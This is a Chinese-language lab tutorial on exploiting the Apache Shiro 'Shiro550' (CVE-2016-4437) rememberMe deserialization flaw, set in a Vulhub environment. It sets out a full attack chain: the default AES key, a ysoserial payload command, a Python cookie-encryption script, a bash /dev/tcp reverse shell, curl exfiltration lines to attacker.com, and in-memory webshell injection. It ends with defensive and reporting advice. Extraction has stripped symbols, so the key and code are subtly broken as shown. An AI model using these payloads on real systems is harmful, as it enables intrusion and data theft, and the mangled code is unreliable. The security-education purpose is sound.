Shiro550漏洞复现:从Java反序列化到RCE实战解析

📅 2026/6/21 15:39:12
Shiro550漏洞复现:从Java反序列化到RCE实战解析
1. 项目概述为什么Shiro550至今仍是渗透测试的必修课如果你在安全圈待过一段时间或者正在学习渗透测试那么“Shiro550”这个编号你一定不会陌生。它就像渗透测试领域的一个“经典咏流传”从2016年被披露至今依然活跃在各种红蓝对抗、渗透测试实战和CTF比赛中。这个漏洞的官方编号是CVE-2016-4437核心问题出在Apache Shiro框架的“记住我”RememberMe功能上由于默认的AES加密密钥硬编码在框架源码中导致攻击者可以构造恶意的序列化数据加密后作为Cookie发送最终在服务器端触发反序列化实现远程代码执行RCE。为什么一个八年前的漏洞还值得我们花时间复现和研究原因有三。第一存量资产巨大。Apache Shiro作为一个强大且易用的Java安全框架被广泛应用于大量企业级Java Web应用中尤其是那些历史遗留系统。第二漏洞原理经典。它完美串联了Java反序列化、AES加密、密钥硬编码等多个安全知识点是理解Java Web安全漏洞链的绝佳案例。第三利用工具成熟危害直接。利用链成熟一键化工具多一旦存在漏洞往往意味着服务器权限的直接沦陷。对于安全工程师、渗透测试人员甚至开发人员来说掌握Shiro550的复现不仅是掌握一个漏洞利用技巧更是深入理解Java应用安全风险的一扇窗口。本文将从一个实战者的角度带你从零开始在可控的靶场环境中完整复现Shiro550漏洞的检测、利用和深度分析过程并分享一些在真实渗透中才会遇到的“坑”和技巧。2. 漏洞原理深度拆解从“记住我”到命令执行要成功利用一个漏洞绝不能停留在“脚本小子”的层面。我们必须深入理解其触发原理这样才能在工具失效、环境变化时依然能够灵活应对。2.1 Shiro的“记住我”机制与安全假设Apache Shiro的“记住我”功能其设计初衷是为了提升用户体验。当用户登录时勾选“记住我”Shiro会生成一个包含用户身份信息的序列化对象使用AES加密后以rememberMe为键值对存储在用户的浏览器Cookie中。下次用户访问时Shiro会读取这个Cookie解密、反序列化从而自动恢复用户的登录状态无需再次输入密码。这里隐含了三个关键的安全假设加密密钥是保密的AES加密的安全性完全依赖于密钥。Shiro默认使用AES/CBC/PKCS5Padding模式。序列化数据是可信的反序列化的对象来源于自己加密生成的数据。密钥具备唯一性每个应用应该使用自己独有的密钥。CVE-2016-4437的根源就在于Shiro框架默认违反了第一条和第三条假设。在1.2.4及之前版本中用于加密rememberMeCookie的AES密钥是硬编码在源码中的org.apache.shiro.mgt.AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES。这意味着全球所有使用默认配置的Shiro应用都在使用同一个密钥kPHbIxk5D2deZiIxcaaaABase64编码。注意这个默认密钥是公开的。攻击者一旦识别出目标使用Shiro框架就可以尝试使用这个密钥去解密或加密伪造的Cookie数据。2.2 漏洞利用链硬编码密钥与Java反序列化的致命组合漏洞的利用链条非常清晰可以概括为以下几步信息收集与指纹识别攻击者首先需要判断目标是否使用了Shiro框架。常见方法包括检查HTTP响应头如Set-Cookie中是否包含rememberMedeleteMe这是Shiro登出时的特征、访问特定错误页面或者使用工具进行被动扫描。密钥确认与利用由于默认密钥公开攻击者可以直接使用该密钥。如果目标系统管理员修改了密钥攻击者则需要通过其他方式如信息泄露、弱口令爆破密钥来获取这增加了利用难度但默认密钥的普及率使得漏洞依然非常危险。构造恶意序列化载荷这是漏洞利用的核心。攻击者需要构造一个恶意的Java对象该对象在反序列化时能够触发任意代码执行。通常这会利用已知的第三方库如Commons-Collections, Commons-Beanutils中的“gadget chain”利用链。例如著名的CommonsCollections利用链可以构造一个Transformer数组最终调用Runtime.exec()来执行系统命令。加密与发送将构造好的恶意序列化字节流使用已知的AES密钥默认或爆破得到的和相同的加密模式AES/CBC/PKCS5Padding进行加密然后Base64编码作为rememberMeCookie的值发送给目标服务器。触发与执行Shiro服务端接收到Cookie后会使用其配置的密钥进行解密。如果密钥匹配解密成功接着会对解密后的数据进行反序列化操作。一旦反序列化过程执行内嵌在恶意对象中的利用链就会被触发导致预设的命令在服务器上执行。整个漏洞的杀伤力在于攻击者无需知道任何用户名和密码只需要发送一个特制的HTTP请求就有可能直接获取服务器权限。2.3 关键组件AES加密与Padding Oracle攻击的延伸虽然Shiro550的核心是硬编码密钥但了解其加密细节有助于应对变种情况。Shiro使用CBC模式这引入了“Padding Oracle”攻击的可能性。简单来说CBC解密时如果填充Padding不正确服务器可能会返回一个与填充正确时不同的错误信息例如一个解密异常页面与一个反序列化异常页面。攻击者可以通过观察服务器的响应差异来逐字节爆破出加密密钥。在实际渗透中如果目标系统修改了默认密钥我们除了通过其他漏洞获取密钥文件外还可以尝试使用“Padding Oracle”攻击工具如shiro-padding-oracle-attack来爆破密钥。这要求目标服务器对Padding错误和反序列化错误有差异化的响应并且需要发送大量请求但它是获取未知密钥的一种有效手段。3. 靶场环境搭建与漏洞复现实操理论讲得再多不如亲手操作一遍。我们将在完全可控的本地环境中使用Vulhub靶场进行复现。Vulhub是一个基于Docker的漏洞环境集合一键搭建非常适合学习和研究。3.1 环境准备与工具清单靶机环境操作系统Ubuntu 20.04 / Kali Linux 或任何支持Docker的系统。Docker Docker-compose必须安装。这是运行Vulhub的基础。Vulhub项目从GitHub克隆https://github.com/vulhub/vulhub.git。攻击机环境通常与靶机同一台机器操作系统Kali Linux推荐工具齐全或任何安装有Python的Linux/Mac。关键工具Python3运行漏洞检测和利用脚本。Java环境用于生成Payload。需要安装JDK。ysoserial一个用于生成Java反序列化Payload的工具库。这是构造恶意对象的“武器工厂”。Shiro攻击脚本/工具例如shiro_attack.py、shiro-exploit等社区有很多优秀的开源工具。实操步骤简述在攻击机上安装Docker和docker-compose。克隆Vulhub仓库进入Shiro漏洞目录cd vulhub/shiro/CVE-2016-4437。运行docker-compose up -d启动漏洞环境。这会拉取一个包含Shiro 1.2.4漏洞版本的Web应用镜像并运行。使用docker ps确认容器已正常运行并记下映射的端口通常是8080。3.2 漏洞检测如何判断目标存在Shiro550在发起攻击前准确的漏洞检测至关重要。盲目发送攻击Payload可能触发告警。1. 手动检测特征 访问靶场地址如http://your-ip:8080使用浏览器开发者工具F12或Burp Suite抓包。方法一查看登录/登出响应。尝试访问一个需要认证的页面或者触发登出。观察HTTP响应头中的Set-Cookie字段。如果发现rememberMedeleteMe这是一个强烈的Shiro框架指纹。HTTP/1.1 200 OK Set-Cookie: rememberMedeleteMe; Path/; Max-Age0; ExpiresWed, 01-Jan-2025 00:00:00 GMT方法二访问错误路径。Shiro有默认的错误页面。尝试访问一个不存在的路径有时返回的错误信息会包含org.apache.shiro等字样。2. 使用自动化工具检测 手动检测效率低实战中我们常用工具进行批量或快速检测。例如使用Python编写的shiro_attack.py或类似工具的检测模块。python3 shiro_attack.py http://your-ip:8080这类工具通常会发送一个特殊的探测Payload例如使用URLDNS利用链它只触发DNS查询不执行命令相对隐蔽和安全如果目标存在漏洞且密钥正确工具会收到DNS解析记录从而确认漏洞存在。实操心得在真实的渗透测试授权项目中优先使用无害的检测方式如URLDNS链。它只会触发一次DNS查询不会在目标服务器上执行任何命令避免了业务中断风险也符合渗透测试的合规性要求。直接使用命令执行Payload进行检测是鲁莽且不专业的。3.3 漏洞利用从检测到获取Shell确认漏洞存在后下一步就是利用它来执行命令。这里我们演示使用ysoserial生成Payload并用Python脚本完成加密和发送的完整过程。1. 生成恶意序列化数据Payload 我们需要借助ysoserial。首先确保安装了Java然后下载或编译ysoserial.jar。 假设我们想执行命令touch /tmp/success来验证漏洞。java -jar ysoserial.jar CommonsCollections5 touch /tmp/success payload.bin这条命令使用CommonsCollections5这个利用链生成了一个执行touch /tmp/success命令的序列化对象并保存到payload.bin文件。CommonsCollections5是众多利用链之一在不同版本的JDK和依赖库环境下可能需要尝试不同的链如CommonsCollections1,CommonsBeanutils1等。2. 加密Payload并构造HTTP请求 我们不能直接发送payload.bin。需要按照Shiro的流程AES加密 - Base64编码 - 放入Cookie。 我们可以写一个简单的Python脚本或者使用现成工具。以下是一个简化的逻辑import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad # 1. 读取Payload with open(payload.bin, rb) as f: payload f.read() # 2. Shiro默认的AES密钥 (Base64编码) key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) # 3. AES-CBC加密IV通常为全零 cipher AES.new(key, AES.MODE_CBC, ivb\x00*16) # 需要先对Payload进行PKCS5填充 encrypted cipher.encrypt(pad(payload, AES.block_size)) # 4. Base64编码 rememberMe_cookie base64.b64encode(encrypted).decode() # 5. 构造HTTP请求头 headers { Cookie: frememberMe{rememberMe_cookie} } # ... 然后使用requests库发送请求实际上成熟的攻击工具如shiro_attack.py已经封装了所有这些步骤我们只需要指定目标URL和要执行的命令即可。3. 发送请求并验证 使用工具发送构造好的请求。python3 shiro_attack.py http://your-ip:8080 “whoami”如果工具显示命令执行成功并返回了root或当前服务运行的用户名则证明漏洞利用成功。4. 获取交互式Shell 执行单条命令只是开始我们通常需要获取一个反向Shell以便进行持续的交互。在Linux下可以使用bash或nc来反弹Shell。# 假设攻击机IP是192.168.1.100监听4444端口 # 在攻击机上执行nc -lvnp 4444 # 然后通过漏洞执行以下命令需要根据目标环境调整 bash -i /dev/tcp/192.168.1.100/4444 01 # 或者使用python、perl、php等语言的一行反弹Shell代码将上面这条反弹Shell命令作为参数传递给攻击脚本如果目标服务器出网且防火墙允许我们就能在攻击机的nc监听端口上获得一个Shell。注意事项反弹Shell的命令中经常包含重定向符()、管道符(|)和特殊符号在通过HTTP参数传递时需要确保进行正确的URL编码。很多工具内部会处理但如果自己编写脚本务必注意这一点否则命令可能无法正确解析。4. 利用工具深度解析与高级利用技巧市面上有很多优秀的Shiro漏洞利用工具理解它们的原理和差异能让你在实战中更得心应手。4.1 主流利用工具横向对比工具名称语言特点适用场景shiro_attack.pyPython功能全面集检测、密钥爆破、命令执行于一体支持多种利用链社区活跃。综合首选适合大多数情况尤其是需要爆破密钥时。ShiroExploitJavaGUI图形界面操作直观一键化程度高。适合新手快速上手或不熟悉命令行的场景。burp-shiro-passive-scanBurp插件被动扫描插件在BurpSuite流量中自动识别Shiro框架并检测默认密钥。在渗透测试信息收集阶段进行自动化、隐蔽的资产发现和初步漏洞筛查。手工利用脚本Python/Java自己编写或修改的脚本灵活性最高。在遇到WAF、特殊环境或需要高度定制化Payload时使用。选择建议对于学习和常规渗透shiro_attack.py是不二之选。它命令行操作清晰能让你看到每一步的过程。在需要快速测试大量目标时Burp插件效率更高。GUI工具则提供了另一种便捷的选择。4.2 突破限制无回显命令执行与内存马注入在真实网络中漏洞利用往往不会一帆风顺。你可能会遇到命令执行了但看不到回显无回显或者服务器有严格的上传限制。1. 处理无回显Blind场景 如果命令执行了但HTTP响应中不包含命令输出我们称之为“盲注”。这时可以采用外带OOB技术。DNS外带执行一个包含唯一子域名的DNS查询命令如ping -c 1 your-unique-id.attacker.com。然后在你的DNS服务器日志中查看是否有该域名的解析请求从而确认命令执行。ysoserial的URLDNS链就是基于此原理。HTTP外带使用curl或wget命令将命令执行的结果例如whoami的结果通过URL参数发送到你的服务器。curl http://attacker.com/whoami # 或者先写入文件再curl whoami | xxd -p | tr -d \n | xargs -I {} curl http://attacker.com/{}在你的Web服务器访问日志中就能看到包含命令结果的请求。2. 注入内存WebShell内存马 这是Shiro550漏洞的高级利用方式目的是在目标Java应用的运行时内存中植入一个后门无需向磁盘写入任何文件对抗性极强。原理利用漏洞执行代码向当前运行的Java Web容器如Tomcat、Jetty的上下文中动态注册一个恶意的Servlet、Filter或Controller。这个恶意组件可以接收请求并执行命令。常用工具Behinder冰蝎、Godzilla哥斯拉等WebShell管理工具都支持通过反序列化漏洞直接注入内存马。它们生成的Payload会利用漏洞执行一段Java代码这段代码会使用Java的反射、类加载等机制在内存中构造一个后门。操作流程以冰蝎为例在漏洞利用模块中选择“Shiro”类型填入目标URL和默认密钥选择对应的利用链和内存马类型如Tomcat Filter型然后生成Payload并执行。成功后就可以使用冰蝎客户端直接连接内存WebShell。重要警告内存马存活于应用内存中一旦应用重启就会消失。但其注入过程对防御方来说检测难度较大。在渗透测试中如需持久化控制往往需要结合写入文件WebShell或建立持久化隧道。4.3 密钥爆破与利用链选择如果目标系统修改了默认密钥我们第一步就需要爆破密钥。shiro_attack.py工具内置了密钥爆破功能它通常基于两种方式Padding Oracle攻击如前所述通过差异响应判断密钥。已知密钥字典爆破使用一个包含常见密钥的字典如cbc.key文件中的密钥列表尝试每个密钥去解密一个固定的探测Payload如果解密后反序列化成功或返回特定错误则认为密钥正确。利用链选择 不同的服务器环境JDK版本、依赖库支持不同的利用链。常见的链有CommonsCollections1-7适用于较低版本的JDK如JDK 7u21及以下和存在相应CC库的环境。CommonsBeanutils1不依赖CC库适用范围可能更广。JRMPClient用于攻击另一台存在反序列化漏洞的服务实现“跳板”攻击。在工具中通常会有--gadget参数让你选择利用链。实战中如果一条链不成功应尝试切换其他链。5. 防御措施与渗透测试中的思考作为渗透测试者我们不仅要会攻击更要理解如何防御这样才能给客户提供有价值的修复建议。5.1 企业级防御方案对于企业开发和安全团队修复Shiro550漏洞应包括以下层面立即升级将Apache Shiro升级到1.2.5及以上版本。新版本移除了硬编码密钥并要求开发人员显式配置。安全配置如果无法立即升级必须手动在Shiro配置文件中如shiro.ini或Spring配置设置一个强且唯一的cipherKey。绝不能使用默认密钥或弱密钥。# 在shiro.ini中示例 securityManager.rememberMeManager.cipherKey your_strong_and_unique_base64_encoded_key_here禁用反序列化在业务允许的情况下考虑使用白名单机制来限制反序列化的类或者使用更安全的序列化方案如JSON。可以集成SerializationWhitelist。依赖库管理定期扫描并升级项目中的第三方依赖避免使用存在已知反序列化利用链的旧版本库如老版本的Commons-Collections。WAF/IPS防护部署Web应用防火墙或入侵防御系统配置规则拦截特征明显的Shiro反序列化攻击流量如包含特定Cookie头和长Base64字符串的请求。运行时防护使用RASP运行时应用自保护技术在应用内部监控并阻断恶意的反序列化行为。5.2 渗透测试中的注意事项与报告撰写在授权渗透测试中复现Shiro550这类高危漏洞需要格外谨慎授权与范围确保测试目标在授权书明确规定的范围内。不要对非授权系统进行任何探测或攻击。时间窗口尽量安排在业务低峰期如深夜进行漏洞验证特别是可能执行命令的验证避免影响正常业务。操作最小化验证漏洞时优先使用无害验证方式如URLDNS。必须执行命令时执行whoami、id、hostname等查询信息命令严禁执行rm -rf /、reboot、dd等破坏性命令。创建文件验证时使用/tmp目录下的临时文件。证据留存对每一步操作进行截图或保存Burp Suite日志特别是漏洞验证成功的关键证据如命令执行回显。这些是报告的重要组成部分。报告撰写在渗透测试报告中对于发现的Shiro550漏洞应清晰描述漏洞位置存在漏洞的URL。风险等级通常为“高危”或“严重”。漏洞详情简述漏洞原理硬编码密钥导致反序列化RCE。复现步骤提供详细的步骤和截图证明漏洞真实存在。潜在影响攻击者可在未授权情况下远程执行任意命令完全控制服务器。修复建议提供明确的、可操作的修复方案如上文的防御措施。参考链接附上CVE编号链接、官方安全公告等。通过这样一次完整的Shiro550漏洞复现之旅我们不仅掌握了一个具体漏洞的利用方法更串联起了指纹识别、漏洞原理分析、Payload构造、加密解密、工具使用、绕过技巧和防御修复这一整套渗透测试的实战思维。这才是漏洞复现学习的真正价值所在。在后续遇到其他反序列化漏洞时你会发现其核心思路是相通的无非是触发点、加密方式、利用链的不同组合罢了。保持这种探究原理的习惯你的渗透测试能力才会持续精进。